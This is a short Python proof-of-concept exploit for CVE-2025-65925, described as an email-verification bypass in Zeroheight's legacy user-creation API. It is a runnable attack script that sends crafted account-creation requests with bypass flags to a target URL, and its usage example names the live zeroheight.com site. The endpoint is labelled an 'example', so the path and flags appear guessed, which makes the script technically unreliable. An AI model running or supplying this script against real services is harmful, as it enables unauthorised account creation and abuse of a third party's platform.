Zeroheight账户验证绕过漏洞 (CVE-2025-65925)

# CVE-2025-65925 PoC - Zeroheight Account Verification Bypass # This PoC demonstrates the verification bypass vulnerability in Zeroheight's legacy user creation API import requests import json import sys def exploit_zeroheight_bypass(target_url, email): """ Exploit CVE-2025-65925: Zeroheight Legacy User Creation API Verification Bypass This vulnerability allows attackers to create accounts without email verification by exploiting a legacy API pathway that bypasses intended verification controls. """ # Target API endpoint for user creation (legacy pathway) api_endpoint = f"{target_url}/api/v1/users" # Example legacy endpoint # Malicious payload to create account without verification payload = { "email": email, "username": "attacker_test_user", "password": "TestPass123!", "verify_email": False, # Bypass flag "skip_verification": True # Additional bypass mechanism } headers = { "Content-Type": "application/json", "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64)", "X-API-Version": "legacy" # Specify legacy API version } try: print(f"[*] Sending account creation request to {api_endpoint}") print(f"[*] Target email: {email}") response = requests.post(api_endpoint, json=payload, headers=headers, timeout=10) if response.status_code == 201 or response.status_code == 200: print("[+] Account created successfully without email verification!") print(f"[*] Response: {response.text}") return True else: print(f"[-] Request failed with status code: {response.status_code}") print(f"[*] Response: {response.text}") return False except requests.exceptions.RequestException as e: print(f"[-] Error: {e}") return False def main(): if len(sys.argv) < 3: print("Usage: python cve-2025-65925_poc.py <target_url> <email>") print("Example: python cve-2025-65925_poc.py https://zeroheight.com [email protected]") sys.exit(1) target_url = sys.argv[1] email = sys.argv[2] exploit_zeroheight_bypass(target_url, email) if __name__ == "__main__": main()